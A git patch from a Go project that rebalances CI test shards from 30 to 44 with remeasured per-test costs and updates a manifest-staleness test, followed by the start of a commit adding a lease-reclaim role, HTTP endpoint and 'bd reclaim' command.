8ebea6c00..0a099e0f9 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -56,7 +56,7 @@ name coverage. The manifest file holds more than one block (one per total_shards value in use): the legacy, frozen 15-shard block pr-risk.yml/main.yml's jobs read, and -the Bazel-only lane's own block (30 shards as of F2). By default this prints +the Bazel-only lane's own block (44 shards since 2026-10-09). By default this prints only the requested total's block to stdout, which is NOT safe to redirect straight into the manifest file (`gen... 30 > file` deletes every other block). Use --write to update the file in place instead: it replaces only diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 8e1e5f3f1..27297aae8 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -1,250 +1,254 @@ { "_comment": [ - "Measured locally with `bazel --nohome_rc test --config=doltserver-proxied", - "//cmd/bd:bd_proxied_test` -- the exact config bazel.yml's proxied-server tier", - "uses, including `-test.parallel=4` (local sandboxed execution only; no remote", - "executor or cache flags were configured for this measurement run; Bazel's own", - "--remote_download_regex etc. in that config do not enable remote execution", - "without --config=remote-exec, which was not passed).", + "Measured on rbe-west, the lane's own remote executors (instance oss), on", + "2026-10-09: two `bazel test //cmd/bd:bd_proxied_test", + "--config=doltserver-proxied --nocache_test_results` runs, one against the", + "then-committed 30-shard block and one against a 40-shard repack, so every", + "discovered test ran exactly once per run, with the lane's -test.parallel=4", + "and GOMAXPROCS=4. Both passed.", "", - "This replaces an earlier capture that used `-test.parallel=1` (serial). That", - "methodology avoided double-counting a parallel subtest group's own duration on", - "top of its children's, which was a genuine bug in an even earlier pass -- but", - "serial timings do not model this lane, which always runs at parallel=4, and an", - "independent re-review measured near-zero correlation (r=0.08) between the", - "serial-derived predicted shard load and actual parallel=4 wall time. These", - "values are each a clean, single-job (no other concurrent heavy bazel/dolt job", - "intentionally started on the box; see below), parallel=4 top-level test's own", - " attribute from a single fresh, manifest-aligned 30-shard", - "sweep where every shard ran its exact assigned test set once (no duplicates,", - "no gaps -- see scripts/ci/gen_proxied_shard_manifest.py's exact-once coverage", - "check). A top-level Go test's already reflects, not adds to,", - "its own parallel children's wall-clock time, so no leaf-summation step was", - "needed this time: every one of the 176 discovered tests completed inside a", - "single shard run with errors=\"0\" (none needed Bazel's per-target default", - "timeout worked around via a separate `bazel run`, unlike the prior capture).", + "Each value is a top-level test's serial-equivalent cost: the sum of the", + " of every leaf test under it (a subtest with no subtests of", + "its own; the test itself when it has none), each leaf averaged over the", + "two runs. It is NOT , which the previous (local) capture", + "used: for a t.Parallel test that attribute runs from the test's first RUN", + "line to its last PASS line, so it also counts the time the test sat paused", + "behind its shard's other tests. That made a cheap test that happened to", + "wait look as heavy as the shard, which is why the previous 30-shard block,", + "packed to ~360s per shard on paper, ran 38-286s per shard in CI. Leaves,", + "not direct subtests, because a parallel group's own is 0.", "", - "`seconds_per_init_fallback` is the weighted average seconds-per-init over", - "every measured test in this file (sum of all durations / sum of all inits),", - "used only for a brand-new test with no entry yet (see", - "scripts/ci/gen_proxied_shard_manifest.py's discover_inits_cost()). It dropped", - "from the serial capture's 39.7275 to this capture's lower value because", - "parallel=4 genuinely shortens most tests' wall time relative to inits count;", - "this is expected, not a data error.", + "A shard's remote wall time came out at about 0.3x its packed cost (four", + "subtests run at once): correlation 0.90 over the 30-shard run (19,224", + "cost-seconds, 5,671 shard-seconds of wall time); the 40-shard run's", + "shards ran 71-162s, apart from one that held two then-unsplit tests whose", + "cost the first capture had missed.", "", - "This file still does not claim shard totals land within a few seconds of each", - "other -- see .github/workflows/bazel.yml for the current, honest expected", - "spread for the 30-shard proxied lane, now also derived from this same sweep.", + "The cost is almost all `bd init --proxied-server` against the shared dolt", + "sql-server: each init issues ~2,000 statements (81 DOLT_COMMITs) and costs", + "the server ~6-12 CPU-seconds, and most subtests run one init. A top-level", + "test with ~20 single-init subtests therefore cost 600-920 and ran for up", + "to ~350s alone, which no shard count can pack under that. The fifteen", + "heaviest were split into two or three top-level functions", + "(TestProxiedServerUpdate, -UpdateB, -UpdateC, ...); a split function's", + "entry is the sum of the leaves it now holds.", "", - "The box this was measured on also runs other engineers'/agents' unrelated", - "Bazel jobs; this capture was not run with exclusive use of the machine, only", - "with no other *intentional, task-related* heavy bazel/dolt job started", - "concurrently by this task. Absolute seconds may be inflated by ambient", - "contention; relative ordering between tests, which is what LPT packing", - "actually depends on, should still be far more representative than the", - "discarded serial data (confirmed: 30/30 shards passed, 0 failures, 0 races,", - "with the two blocker fixes -- shortSocketPath and cmd.Cancel -- applied).", + "`seconds_per_init_fallback` is the sum of all costs over the sum of all", + "inits (discover_inits_cost()), used only for a test with no entry yet.", "", - "Regenerate with a local `bazel --nohome_rc test --config=doltserver-proxied", - "//cmd/bd:bd_proxied_test --build_event_json_file=` sweep, then pull", - "each shard's bazel-testlogs test.xml per top-level test --", - "not from downloaded CI artifacts -- so the parallel=4, CI-representative", - "methodology above is applied consistently.", - "", - "Added after that sweep: TestProxiedServerOutageReconnectAcceptanceMatrix (80.0,", - "renamed into the discovery pattern once its outage bound was fixed). Not a", - "single sweep's value: local --config=doltserver-proxied runs measured it at", - "55-79 s alone, 60-70 s inside its shard, and a reviewer's 68-109 s under load;", - "80 s is a rounded middle of that spread. seconds_per_init_fallback was", - "recomputed to include it.", - "", - "TestProxiedServerClose / Close3 / Close4 (gastownhall/beads#7151): the 174.6s", - "capture above was taken for the undivided TestProxiedServerClose (23 bd-init", - "subtests). The suite was then split after close_nonexistent_id and again after", - "close_pinned_with_force, so the three entries hold that one capture", - "apportioned by bd-init count (11, 6 and 6 of 23), not fresh measurements; the", - "next sweep replaces all three." + "Regenerate the same way: fresh remote runs of the target, then sum each", + "top-level test's leaf s from every shard's", + "bazel-testlogs/cmd/bd/bd_proxied_test/shard_*/test.xml." ], - "seconds_per_init_fallback": 17.2952, + "seconds_per_init_fallback": 29.5374, "tests": { - "TestProxiedServerAssign": 38.67, - "TestProxiedServerAutoPrune": 67.5, - "TestProxiedServerBackupRefusedOnExternalTopology": 5.96, - "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 9.18, - "TestProxiedServerBatchParity": 60.04, - "TestProxiedServerBlocked": 138.63, - "TestProxiedServerCascadeParity": 78.23, - "TestProxiedServerChildren": 11.28, - "TestProxiedServerCleanDatabases": 7.14, - "TestProxiedServerCleanDatabasesPurgeDropped": 7.76, - "TestProxiedServerClose": 83.5, - "TestProxiedServerClose2": 218.83, - "TestProxiedServerClose3": 45.55, - "TestProxiedServerClose4": 45.55, - "TestProxiedServerCloseConcurrent": 38.25, - "TestProxiedServerCloseSiblingBlockersFanIn": 99.71, - "TestProxiedServerComment": 64.04, - "TestProxiedServerCompactDolt": 11.55, - "TestProxiedServerCompactHistory": 12.38, - "TestProxiedServerConfig": 188.91, - "TestProxiedServerConfigConcurrent": 48.59, - "TestProxiedServerConfigSetMany": 196.57, - "TestProxiedServerContext": 72.27, - "TestProxiedServerCount": 60.65, - "TestProxiedServerCountIncludeInfra": 34.69, - "TestProxiedServerCreate": 46.42, - "TestProxiedServerCreate2": 165.07, - "TestProxiedServerCreateInfraTypeRoutesToWisps": 142.17, - "TestProxiedServerDeferAutoWake": 12.95, - "TestProxiedServerDeferUndefer": 51.14, - "TestProxiedServerDelete": 44.82, - "TestProxiedServerDeleteBlockedJSONSingleDoc": 8.09, - "TestProxiedServerDeleteConcurrent": 10.57, - "TestProxiedServerDeleteForceOrphans": 9.16, - "TestProxiedServerDeleteWisp": 7.06, - "TestProxiedServerDep": 121.62, - "TestProxiedServerDep2": 227.28, - "TestProxiedServerDepConcurrent": 30.55, - "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 10.13, - "TestProxiedServerDoltLifecycle": 6.18, - "TestProxiedServerDoltRemoteRemove": 72.67, - "TestProxiedServerDuplicates": 44.77, - "TestProxiedServerEdit": 10.16, - "TestProxiedServerEpic": 109.49, - "TestProxiedServerEventsJournal": 6.48, - "TestProxiedServerEventsJournalOffByDefault": 65.83, - "TestProxiedServerExport": 26.44, - "TestProxiedServerExternalCreate": 5.73, - "TestProxiedServerExternalMutationPolicy": 25.0, - "TestProxiedServerExternalPolicyDirectParity": 18.12, - "TestProxiedServerFindDuplicates": 51.66, - "TestProxiedServerGC": 12.73, - "TestProxiedServerGateCheck": 140.99, - "TestProxiedServerGateCreateInheritsRepoMetadata": 47.1, - "TestProxiedServerGateFrontDoorDirectServerProxyParity": 17.36, - "TestProxiedServerGateLifecycle": 49.79, - "TestProxiedServerGateList": 41.19, - "TestProxiedServerGraph": 15.43, - "TestProxiedServerHeartbeat": 57.23, - "TestProxiedServerHistory": 21.81, - "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 59.61, - "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.97, - "TestProxiedServerHuman": 263.77, - "TestProxiedServerImport": 160.85, - "TestProxiedServerInfo": 28.32, - "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 11.99, - "TestProxiedServerInitIfMissing": 6.69, - "TestProxiedServerKV": 94.24, - "TestProxiedServerLabel": 179.25, - "TestProxiedServerLink": 51.49, - "TestProxiedServerLint": 15.51, - "TestProxiedServerList": 112.68, - "TestProxiedServerListComments": 31.13, - "TestProxiedServerListSortRetiresTheWalk": 46.29, - "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 10.54, - "TestProxiedServerMemory": 58.87, - "TestProxiedServerMolBond": 79.34, - "TestProxiedServerMolBurn": 253.65, - "TestProxiedServerMolCurrent": 85.1, - "TestProxiedServerMolDistill": 78.03, - "TestProxiedServerMolLastActivity": 111.33, - "TestProxiedServerMolProgress": 182.51, - "TestProxiedServerMolReadyGated": 66.34, - "TestProxiedServerMolShow": 36.15, - "TestProxiedServerMolSquash": 118.23, - "TestProxiedServerMolStale": 53.95, - "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 22.98, - "TestProxiedServerMoleculeFrontDoorWriteParity": 19.52, - "TestProxiedServerMultiStatementSQL": 6.76, - "TestProxiedServerNote": 11.21, - "TestProxiedServerOrphans": 12.11, - "TestProxiedServerOutageReconnectAcceptanceMatrix": 80.0, + "TestProxiedServerAssign": 55.49, + "TestProxiedServerAutoPrune": 6.71, + "TestProxiedServerBackupRefusedOnExternalTopology": 0.45, + "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 10.13, + "TestProxiedServerBatchParity": 64.1, + "TestProxiedServerBlocked": 49.25, + "TestProxiedServerCascadeParity": 167.07, + "TestProxiedServerChildren": 12.43, + "TestProxiedServerCleanDatabases": 1.02, + "TestProxiedServerCleanDatabasesPurgeDropped": 2.23, + "TestProxiedServerClose": 223.82, + "TestProxiedServerClose2": 379.25, + "TestProxiedServerClose2B": 372.47, + "TestProxiedServerClose3": 253.62, + "TestProxiedServerClose4": 236.01, + "TestProxiedServerCloseB": 199.51, + "TestProxiedServerCloseBeadGate": 85.6, + "TestProxiedServerCloseConcurrent": 39.05, + "TestProxiedServerCloseSiblingBlockersFanIn": 45.72, + "TestProxiedServerComment": 101.7, + "TestProxiedServerCompactDolt": 0.15, + "TestProxiedServerCompactHistory": 2.27, + "TestProxiedServerConfig": 281.3, + "TestProxiedServerConfigB": 221.92, + "TestProxiedServerConfigConcurrent": 21.07, + "TestProxiedServerConfigSetMany": 56.32, + "TestProxiedServerContext": 30.68, + "TestProxiedServerCount": 29.54, + "TestProxiedServerCountIncludeInfra": 7.0, + "TestProxiedServerCreate": 35.39, + "TestProxiedServerCreate2": 313.1, + "TestProxiedServerCreate2B": 266.11, + "TestProxiedServerCreate2C": 115.17, + "TestProxiedServerCreateInfraTypeRoutesToWisps": 54.19, + "TestProxiedServerDeferAutoWake": 10.55, + "TestProxiedServerDeferUndefer": 23.62, + "TestProxiedServerDelete": 30.3, + "TestProxiedServerDeleteBlockedJSONSingleDoc": 16.89, + "TestProxiedServerDeleteConcurrent": 19.41, + "TestProxiedServerDeleteForceOrphans": 34.51, + "TestProxiedServerDeleteWisp": 4.98, + "TestProxiedServerDep": 265.67, + "TestProxiedServerDep2": 421.17, + "TestProxiedServerDep2B": 245.92, + "TestProxiedServerDep2C": 287.95, + "TestProxiedServerDepB": 252.49, + "TestProxiedServerDepConcurrent": 29.34, + "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 23.65, + "TestProxiedServerDoltLifecycle": 0.19, + "TestProxiedServerDoltRemoteRemove": 79.1, + "TestProxiedServerDuplicates": 76.36, + "TestProxiedServerEdit": 19.49, + "TestProxiedServerEpic": 47.73, + "TestProxiedServerEventsJournal": 6.01, + "TestProxiedServerEventsJournalOffByDefault": 5.45, + "TestProxiedServerExport": 18.56, + "TestProxiedServerExternalCreate": 5.6, + "TestProxiedServerExternalMutationPolicy": 15.57, + "TestProxiedServerExternalPolicyDirectParity": 8.37, + "TestProxiedServerFindDuplicates": 51.33, + "TestProxiedServerGC": 5.82, + "TestProxiedServerGateCheck": 171.29, + "TestProxiedServerGateCheckB": 205.0, + "TestProxiedServerGateCreateInheritsRepoMetadata": 4.94, + "TestProxiedServerGateFrontDoorDirectServerProxyParity": 22.23, + "TestProxiedServerGateLifecycle": 124.1, + "TestProxiedServerGateList": 48.97, + "TestProxiedServerGatedRendering": 9.09, + "TestProxiedServerGraph": 8.3, + "TestProxiedServerHeartbeat": 11.7, + "TestProxiedServerHistory": 7.88, + "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 26.2, + "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.58, + "TestProxiedServerHuman": 358.37, + "TestProxiedServerIfRevisionGuardAssign": 0.66, + "TestProxiedServerIfRevisionGuardClose": 0.82, + "TestProxiedServerIfRevisionGuardDelete": 0.81, + "TestProxiedServerIfRevisionGuardReopen": 1.48, + "TestProxiedServerIfRevisionGuardUpdate": 0.65, + "TestProxiedServerImport": 288.64, + "TestProxiedServerInfo": 6.0, + "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 12.59, + "TestProxiedServerInitIfMissing": 0.45, + "TestProxiedServerKV": 340.45, + "TestProxiedServerLabel": 298.09, + "TestProxiedServerLabelB": 234.22, + "TestProxiedServerLabelC": 271.95, + "TestProxiedServerLink": 62.35, + "TestProxiedServerLint": 6.67, + "TestProxiedServerList": 131.93, + "TestProxiedServerListComments": 1.97, + "TestProxiedServerListSortRetiresTheWalk": 0.23, + "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.83, + "TestProxiedServerMemory": 90.84, + "TestProxiedServerMolBond": 267.25, + "TestProxiedServerMolBurn": 135.47, + "TestProxiedServerMolCurrent": 177.89, + "TestProxiedServerMolDistill": 55.5, + "TestProxiedServerMolLastActivity": 52.81, + "TestProxiedServerMolProgress": 41.09, + "TestProxiedServerMolReadyGated": 202.08, + "TestProxiedServerMolShow": 83.77, + "TestProxiedServerMolSquash": 73.31, + "TestProxiedServerMolStale": 52.8, + "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 2.14, + "TestProxiedServerMoleculeFrontDoorWriteParity": 21.32, + "TestProxiedServerMultiStatementSQL": 7.5, + "TestProxiedServerNote": 21.92, + "TestProxiedServerOrphans": 4.25, + "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.22, "TestProxiedServerPathHelpers": 0.0, - "TestProxiedServerPing": 11.73, - "TestProxiedServerPour": 253.65, - "TestProxiedServerPourRejectsEnumViolatingVar": 21.66, - "TestProxiedServerPrime": 94.24, - "TestProxiedServerPriority": 41.35, - "TestProxiedServerPromote": 255.67, - "TestProxiedServerPrune": 119.06, - "TestProxiedServerPurgeWispsPlaneRetention": 24.55, - "TestProxiedServerQuery": 42.94, - "TestProxiedServerQuick": 22.7, - "TestProxiedServerReady": 238.66, - "TestProxiedServerReady2": 71.96, - "TestProxiedServerReadyClaimConcurrent": 20.86, - "TestProxiedServerReadyConcurrent": 11.34, - "TestProxiedServerReadyWisp": 255.67, - "TestProxiedServerReassignFence": 57.62, - "TestProxiedServerReclaim": 11.62, - "TestProxiedServerRecomputeBlocked": 19.71, - "TestProxiedServerRelate": 160.07, - "TestProxiedServerReopen": 125.1, - "TestProxiedServerReopenConcurrent": 66.34, - "TestProxiedServerSQL": 13.91, - "TestProxiedServerSQLDatabaseFlag": 12.28, - "TestProxiedServerSQLStatementRouting": 18.36, - "TestProxiedServerSearch": 78.35, - "TestProxiedServerServeActivatesTheEventsJournal": 9.87, - "TestProxiedServerServeAddComment": 25.29, - "TestProxiedServerServeAddDependencies": 15.59, - "TestProxiedServerServeBatchClose": 16.3, - "TestProxiedServerServeClaim": 16.32, - "TestProxiedServerServeClaimNext": 17.04, - "TestProxiedServerServeClose": 38.42, - "TestProxiedServerServeCount": 21.49, - "TestProxiedServerServeCreate": 11.84, - "TestProxiedServerServeDelete": 13.83, - "TestProxiedServerServeEdgeCounts": 20.14, - "TestProxiedServerServeLifecycle": 21.66, - "TestProxiedServerServeModeGate": 31.59, - "TestProxiedServerServeReadParity": 15.44, - "TestProxiedServerServeReadRevision": 10.4, - "TestProxiedServerServeReadsTheJournalItJustWrote": 38.39, - "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 22.47, - "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 42.35, - "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 19.4, - "TestProxiedServerServeRelatedIssues": 28.93, - "TestProxiedServerServeRelease": 11.29, - "TestProxiedServerServeRemoveDependency": 12.52, - "TestProxiedServerServeSettingsWrites": 10.68, - "TestProxiedServerServeStreamsTheJournalItIsWriting": 11.89, - "TestProxiedServerServeUpdate": 17.56, - "TestProxiedServerServeUpdateClaim": 13.57, - "TestProxiedServerSetState": 15.28, - "TestProxiedServerShow": 216.16, - "TestProxiedServerShow2": 232.1, - "TestProxiedServerShow3": 157.69, - "TestProxiedServerShowWatch": 109.69, - "TestProxiedServerStale": 15.61, - "TestProxiedServerState": 110.26, - "TestProxiedServerStatus": 28.61, - "TestProxiedServerStatuses": 27.0, - "TestProxiedServerStorageClass": 150.78, - "TestProxiedServerSwarm": 29.89, - "TestProxiedServerTag": 33.46, - "TestProxiedServerTodo": 43.18, - "TestProxiedServerTypes": 12.51, - "TestProxiedServerTypesAgreeWithCreate": 14.34, - "TestProxiedServerUnclaim": 16.57, - "TestProxiedServerUnclaimIfAssigneeParity": 25.33, - "TestProxiedServerUpdate": 238.19, - "TestProxiedServerUpdate2": 170.45, - "TestProxiedServerUpdate3": 184.1, - "TestProxiedServerUpdateClosePolicy": 37.4, - "TestProxiedServerUpdateConcurrentAppendNotes": 6.6, - "TestProxiedServerUpdateConcurrentClaim": 17.68, - "TestProxiedServerUpdateConcurrentMetadata": 8.68, - "TestProxiedServerUpdateHooks": 20.14, - "TestProxiedServerUpdateIfGuards": 141.97, - "TestProxiedServerUpdateWisp": 82.23, - "TestProxiedServerWispCreate": 74.62, - "TestProxiedServerWispCreateRejectsEnumViolatingVar": 25.49, - "TestProxiedServerWispGC": 52.72, - "TestProxiedServerWispList": 118.23, - "TestServerModeDeferAutoWake": 32.77, - "TestServerModeServe": 19.28, - "TestServerModeServeSkipsPostRunMaintenance": 10.52, - "TestServerModeTypesAgreeWithCreate": 16.0 + "TestProxiedServerPing": 0.76, + "TestProxiedServerPour": 90.63, + "TestProxiedServerPourRejectsEnumViolatingVar": 16.32, + "TestProxiedServerPrime": 120.62, + "TestProxiedServerPriority": 29.69, + "TestProxiedServerPromote": 137.81, + "TestProxiedServerPrune": 229.41, + "TestProxiedServerPurgeWispsPlaneRetention": 27.89, + "TestProxiedServerQuery": 32.83, + "TestProxiedServerQuick": 32.66, + "TestProxiedServerReady": 237.31, + "TestProxiedServerReady2": 159.52, + "TestProxiedServerReadyB": 279.25, + "TestProxiedServerReadyC": 232.74, + "TestProxiedServerReadyClaimConcurrent": 21.86, + "TestProxiedServerReadyConcurrent": 14.36, + "TestProxiedServerReadyWisp": 315.55, + "TestProxiedServerReassignFence": 92.12, + "TestProxiedServerReclaim": 1.41, + "TestProxiedServerRecomputeBlocked": 69.58, + "TestProxiedServerRelate": 174.16, + "TestProxiedServerReopen": 317.88, + "TestProxiedServerReopenB": 283.24, + "TestProxiedServerReopenConcurrent": 100.49, + "TestProxiedServerSQL": 4.56, + "TestProxiedServerSQLDatabaseFlag": 14.98, + "TestProxiedServerSQLStatementRouting": 2.61, + "TestProxiedServerSearch": 79.86, + "TestProxiedServerServeActivatesTheEventsJournal": 10.7, + "TestProxiedServerServeAddComment": 3.85, + "TestProxiedServerServeAddDependencies": 7.7, + "TestProxiedServerServeBatchClose": 14.42, + "TestProxiedServerServeClaim": 13.9, + "TestProxiedServerServeClaimNext": 12.27, + "TestProxiedServerServeClose": 21.8, + "TestProxiedServerServeCount": 15.2, + "TestProxiedServerServeCreate": 2.62, + "TestProxiedServerServeDelete": 5.64, + "TestProxiedServerServeEdgeCounts": 15.27, + "TestProxiedServerServeLifecycle": 0.03, + "TestProxiedServerServeModeGate": 23.75, + "TestProxiedServerServeReadParity": 6.26, + "TestProxiedServerServeReadRevision": 3.59, + "TestProxiedServerServeReadsTheJournalItJustWrote": 14.23, + "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 14.62, + "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 14.96, + "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 13.62, + "TestProxiedServerServeRelatedIssues": 14.9, + "TestProxiedServerServeRelease": 4.5, + "TestProxiedServerServeRemoveDependency": 5.12, + "TestProxiedServerServeSettingsWrites": 5.08, + "TestProxiedServerServeStreamsTheJournalItIsWriting": 21.99, + "TestProxiedServerServeUpdate": 14.38, + "TestProxiedServerServeUpdateClaim": 4.97, + "TestProxiedServerSetState": 14.99, + "TestProxiedServerShow": 246.84, + "TestProxiedServerShow2": 304.16, + "TestProxiedServerShow2B": 302.98, + "TestProxiedServerShow3": 276.05, + "TestProxiedServerShow3B": 261.07, + "TestProxiedServerShowB": 297.04, + "TestProxiedServerShowWatch": 164.7, + "TestProxiedServerStale": 6.27, + "TestProxiedServerState": 189.5, + "TestProxiedServerStatus": 40.45, + "TestProxiedServerStatuses": 2.26, + "TestProxiedServerStorageClass": 337.81, + "TestProxiedServerSwarm": 8.38, + "TestProxiedServerTag": 55.84, + "TestProxiedServerTodo": 96.61, + "TestProxiedServerTypes": 4.25, + "TestProxiedServerTypesAgreeWithCreate": 37.25, + "TestProxiedServerUnclaim": 16.93, + "TestProxiedServerUnclaimIfAssigneeParity": 35.25, + "TestProxiedServerUpdate": 306.84, + "TestProxiedServerUpdate2": 285.3, + "TestProxiedServerUpdate2B": 321.6, + "TestProxiedServerUpdate2C": 247.7, + "TestProxiedServerUpdate3": 375.23, + "TestProxiedServerUpdateB": 265.81, + "TestProxiedServerUpdateC": 265.62, + "TestProxiedServerUpdateClosePolicy": 82.95, + "TestProxiedServerUpdateConcurrentAppendNotes": 7.13, + "TestProxiedServerUpdateConcurrentClaim": 12.38, + "TestProxiedServerUpdateConcurrentMetadata": 11.36, + "TestProxiedServerUpdateHooks": 52.36, + "TestProxiedServerUpdateIfGuards": 83.41, + "TestProxiedServerUpdateWisp": 268.08, + "TestProxiedServerWispCreate": 78.86, + "TestProxiedServerWispCreateRejectsEnumViolatingVar": 13.68, + "TestProxiedServerWispGC": 164.43, + "TestProxiedServerWispList": 65.42, + "TestServerModeDeferAutoWake": 11.69, + "TestServerModeServe": 0.04, + "TestServerModeServeSkipsPostRunMaintenance": 13.74, + "TestServerModeSharedServeGlobalReportsTheServedDatabase": 34.13, + "TestServerModeTypesAgreeWithCreate": 36.55 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 2bb020b41..9d1867f6b 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -220,7 +220,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { } } -// S3: the Bazel-only 30-shard block is not frozen like the legacy 15-shard +// S3: the Bazel-only 44-shard block is not frozen like the legacy 15-shard // block (TestShardScriptsListOnlyRealTests's B1 fix catches outright // corruption, but not a committed block that has drifted from the currently // discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, @@ -243,9 +243,10 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { python := requireHostTool(t, "python3") root := sourceRepoRoot(t) - cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", "30", "--weights=duration", "--check") + shards := strconv.Itoa(bazelProxiedShardCount(t)) + cmd := exec.Command(python, "scripts/ci/gen_proxied_shard_manifest.py", shards, "--weights=duration", "--check") cmd.Dir = root if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_proxied_shard_manifest.py 30 --weights=duration --check: %v\n%s", err, out) + t.Errorf("gen_proxied_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) } } From 470ec832b50b8e452a43f56c47e87128b8d2ecb7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 14:56:32 +0000 Subject: [PATCH 189/325] feat(roles): LeaseReclaimer role, POST issues:reclaim, and bd reclaim on both routes (S9) (#7412) * feat(roles): LeaseReclaimer role and POST issues:reclaim (S9) Adds issueops.LeaseReclaimer.Reclaim(ReclaimRequest{Actor, OlderThan, Filter}) -> ReclaimResult{Reclaimed []ReclaimedLease{ID, PreviousOwner, Revision}}, the stale-lease sweep behind `bd reclaim`, on every leg: - dolt, embedded dolt and the unit-of-work provider all run one body, internal/storage/issueops.ExecuteReclaimInTx over ReclaimExpiredLeasesInTx, and record one version commit per sweep that reverted anything through the issue-operation funnel (so a deferred version commit on the context is honored); - each reverted row's fresh row_lock is published as its revision, so a former holder's guarded write fails with ErrVersionMismatch; - an id that is not a stale lease (absent, live, unheld) is left out of Reclaimed, never an error; the id scope is capped at 1000 (*TooManyReclaimIDsError, counted as sent); - the hook decorator fires on_update once per reverted row (and the proxied notifying provider records one update per row); telemetry wraps it like every role. bd serve publishes it as POST /v0/beads/issues:reclaim behind the new issues.reclaim capability (httpapi.Config.LeaseReclaimer, required like every role). Spec, apigen and the wire-shape golden are regenerated; the change is additive and wire_revision is unchanged. The HTTP client leg dials it (wire vocabulary, capability preflight, local validation in the role's order). Conformance: RunLeaseReclaimer* (12 cases: revert post-state, the revision race, live lease, grace window, id scope with absent/live ids, empty answer, assignee/label scopes re-homed from reclaim_scope.go, recovery event attribution, on_update once per row, refusals, the cap boundary, no request mutation) wired on dolt, embeddeddolt, uow and the served http leg, and so held by the leg lock. Handler tests cover the member mapping, the projection, every handler refusal by name and the role's refusals reaching the wire. Co-Authored-By: Claude Opus 5.5 * feat(bd): bd reclaim runs the LeaseReclaimer role on both routes (S9) `bd reclaim` takes issueops.LeaseReclaimer off the decorated store on the direct route (so a connected HTTP workspace dials issues:reclaim instead of refusing) and off the proxied provider's own accessor on the proxied route, replacing the raw ReclaimExpiredLeases calls and runReclaimProxiedServer. Visible changes: --json entries carry the reverted row's new `revision`, the workspace's on_update hook fires once per reverted row, and the version commit is the role's own ("bd: reclaim N expired lease(s)", honoring dolt.auto-commit through the context the way bd prune does). Tests: an embedded direct-route CLI test (scoped sweep with a live and an absent id, revision, one version commit, on_update once) and the proxied reclaim integration test now asserts the revision. Co-Authored-By: Claude Opus 5.5 * fix(roles): S9 review LOWs: one validator, field attribution, overflow bound - The library's ValidateReclaimRequest is the one definition of a valid reclaim: it now also refuses a blank assignee/label/label-any/exclude entry, and every refusal but the id cap is a *issueops.ReclaimFieldError naming its field. The httpapi handler no longer checks blank entries itself; failReclaimErr names the member the role's error is about (`ids` for the cap) instead of blaming `ids` for every validation. The HTTP client's restatement matches, pinned field by field. - older_than_seconds is refused at >= MaxInt64/1e9: that float rounds to 2^63 ns, which wrapped negative under the old > check. - New contract case RunLeaseReclaimerRefusesABlankScopeEntry on all four legs; handler tests for field attribution and the overflow boundary. - CHANGELOG names the 1000-id cap on bd reclaim --id and is rewrapped; the client's grace-window precision comment no longer claims exactness. Co-Authored-By: Claude Opus 5.5 * fix(roles): S9 review: regenerate the unsupported shell, cgo-tag the embedded contract, one actor spelling - go generate ./internal/httpclient: the new accessor moves the partial-shell trailer to 145 of 200. - lease_reclaimer_contract_test.go gets //go:build cgo like its siblings, so the pure-Go lane compiles. - The library trims the actor before attributing, matching the handler, so " alice " is attributed the same on every route. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(roles): S9 review minors: bound the reclaim actor on every leg, pin any_replica, validate before the uow Review minors on #7412, each in code this PR adds. - The reclaim actor lands on every reverted row's recovery event, in a VARCHAR(255) column, but ValidateReclaimRequest never bounded it: a 256-character actor passed validation on the dolt, embedded-dolt and unit-of-work legs and failed the sweep with the backend's own "Error 1105: string '...' is too large for column 'actor'" on the first row it would have reverted (all three legs answer exactly that with the bound below removed). The shared validator now holds the trimmed actor to types.MaxFieldLen, as claimIssueInTx does, so it is a *ReclaimFieldError for `actor` on every leg. The HTTP client restates the rule, and the parity test covers both sides of it. bd serve already refused it through the claim's name rules. The role's Actor and REFUSALS docs name the bound, and the conformance case runs it on all four legs. - ValidateReclaimRequest's doc no longer says bd serve's handler leaves every rule to it: it names the three wire rules the handler adds of its own. - TestReclaimSendsAnyReplicaOnlyWhenAsked pins the one filter member that widens a sweep: the client sends any_replica only when the caller set it. - The unit-of-work leg validates before opening its unit of work, as the dolt and embedded-dolt legs do; TestLeaseReclaimerRefusesBeforeOpeningAUOW pins it. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + 